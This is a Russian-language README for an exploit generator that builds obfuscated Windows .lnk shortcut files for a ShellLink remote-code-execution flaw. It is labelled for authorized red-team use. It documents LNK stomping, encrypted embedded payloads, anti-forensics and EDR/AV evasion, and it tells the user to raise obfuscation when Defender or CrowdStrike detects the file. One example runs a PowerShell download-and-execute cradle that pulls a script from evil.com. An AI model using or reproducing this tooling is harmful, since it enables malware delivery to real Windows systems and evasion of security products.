Генерирует обфусцированные .lnk-файлы, эксплуатирующие CVE-2026-21510 с помощью LNK stomping, зашифрованных полезных нагрузок и методов анти-форензики для авторизованного тестирования на проникновение и операций red team.
README EpSiLoNPoInTlnk CVE-2026-21510 - Генератор .LNK Инструмент для генерации файлов .lnk с использованием уязвимости CVE-2026-21510 (Windows ShellLink Remote Code Execution). Предназначен для исследований в области безопасности, авторизованных тестов на проникновение и анализа уязвимостей.
Юридическое предупреждение ⚠️ ЭТОТ ИНСТРУМЕНТ ПРЕДНАЗНАЧЕН ТОЛЬКО ДЛЯ ЛЕГАЛЬНОГО И АВТОРИЗОВАННОГО ИСПОЛЬЗОВАНИЯ. Любое несанкционированное использование против систем или сетей нарушит местные и международные законы (например, Computer Fraud and Abuse Act (CFAA), GDPR, закон Годфрена во Франции). Автор снимает с себя всякую ответственность в случае неправомерного использования. (См. Отказ от ответственности ниже.)
Описание Этот генератор создает обфусцированные файлы .lnk для использования CVE-2026-21510, уязвимости в обработке ярлыков Windows. Он включает:
LNK Stomping (5 вариантов: dot, path_segment, relative, double_extension, unicode)
PropertyStore со случайными CLSID и PKEY
KnownFolderDataBlock (случайные или целевые KnownFolderID)
EnvironmentVariableDataBlock (обфускация Unicode, динамические переменные)
Обфускация (Уровни 1-5: TrackerDataBlock, ConsoleDataBlock, случайные блоки)
Встроенные и зашифрованные полезные нагрузки (AES-256-CBC + XOR)
Анти-форензика (нулевые временные метки, нулевой размер файла, минимальные метаданные)
Обход EDR/AV (легитимные процессы, обфусцированные аргументы PowerShell)
Генерация случайных вариантов (10+ уникальных вариантов для обхода сигнатур)
Предварительные требования Система ОС: Windows (для тестирования сгенерированных .lnk) или Linux/macOS (для генерации).
Python: ≥ 3.10. Зависимости: pip install pycryptodome
Рекомендуемые инструменты Анализ: PEStudio, Detect It Easy (DIE)
Отладка: x64dbg, WinDbg
Тестирование: Изолированная виртуальная машина Windows (например, Windows 10/11 на VirtualBox).
Установка Клонировать репозиторий: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk Установить зависимости: pip install -r requirements.txt (Необязательно) Создать виртуальное окружение: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
Использование
Базовая генерация python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk Генерирует .lnk с использованием CVE-2026-21510 для запуска calc.exe.
Расширенные параметры Параметр Описание Значение по умолчанию --target Целевой путь (например: C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args Аргументы для цели (например: /c whoami) /c calc.exe --output Путь вывода .lnk ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir Рабочий каталог C:\Windows\System32 --description Описание ярлыка Случайная строка --unc Использовать UNC-путь (?\C:...) False --lnk-stomping Включить LNK Stomping True --stomping-variant Вариант LNK Stomping (dot, path_segment, relative, double_extension, unicode, random) random --obfuscation Добавить бесполезные блоки ExtraData True --obfuscation-level Уровень обфускации (1-5) 5 --embed-payload Путь к файлу для встраивания (например: payload.bin) None --encrypt-payload Зашифровать полезную нагрузку (AES-256-CBC + XOR) True --anti-forensics Применить методы анти-форензики True --randomize-clsid Рандомизировать CLSID в PropertyStore True --randomize-known-folder Рандомизировать KnownFolderID True --obfuscate-arguments Обфусцировать аргументы (PowerShell) True --generate-variants Сгенерировать N случайных вариантов 0 --debug Расширенный режим отладки (подробные логи) False
Примеры
Пример 1: Эксплойт со встроенной полезной нагрузкой
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
Генерирует .lnk с зашифрованной (AES-256 + XOR) и обфусцированной полезной нагрузкой.
Пример 2: Генерация 10 случайных вариантов
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
Создает 10 уникальных вариантов для обхода сигнатур EDR/AV.
Пример 3: Минималистичный режим (для тестов)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
Генерирует необфусцированный .lnk (для анализа или отладки).
Техническое функционирование
Заголовок ShellLink (0x4C фиксированных байт + смещения): LinkCLSID: 00021401-0000-0000-C000-000000000046 (обязательно). LinkFlags: Настроен для активации HasRelativePath, HasWorkingDir, IsUnicode и т.д.
StringData: RelativePath: Целевой путь (с LNK Stomping, если включен). WorkingDir: Рабочий каталог (например: C:\Windows\System32). Arguments: Обфусцированные аргументы (PowerShell, cmd и т.д.).
Блоки ExtraData (критический порядок): PropertyStoreDataBlock: Содержит PKEY_AppUserModel_ID (случайный CLSID). KnownFolderDataBlock: Указывает на системную папку (например: %SystemRoot%). EnvironmentVariableDataBlock: Принудительное раскрытие переменных до Mark-of-the-Web (MotW). Блоки обфускации (в зависимости от obfuscation_level): TrackerDataBlock (Уровень 1) ConsoleDataBlock (Уровень 2) DarwinDataBlock, ShimDataBlock и т.д. (Уровни 3-5)
Встроенная полезная нагрузка (если --embed-payload): Зашифрована с помощью AES-256-CBC + XOR.
Полезная нагрузка шифруется с помощью AES-256-CBC (случайный ключ 32 байта, IV 16 байт).
Применяется слой XOR с первыми 16 байтами ключа AES.
Ключ и IV хранятся в ShimDataBlock для последующей расшифровки.
Тесты и валидация
Минимальный размер файла.
Действительность HeaderSize и CLSID.
Наличие требуемых LinkFlags.
Структуру блоков ExtraData (PropertyStore, KnownFolder и т.д.).
Выполнение (в изолированной среде): Дважды щелкните по .lnk и наблюдайте за поведением. Используйте Process Monitor (ProcMon) для анализа системных вызовов.
Обнаружение EDR/AV: Протестируйте с помощью таких инструментов, как Windows Defender или CrowdStrike. Если .lnk обнаружен, увеличьте obfuscation_level или отключите некоторые параметры.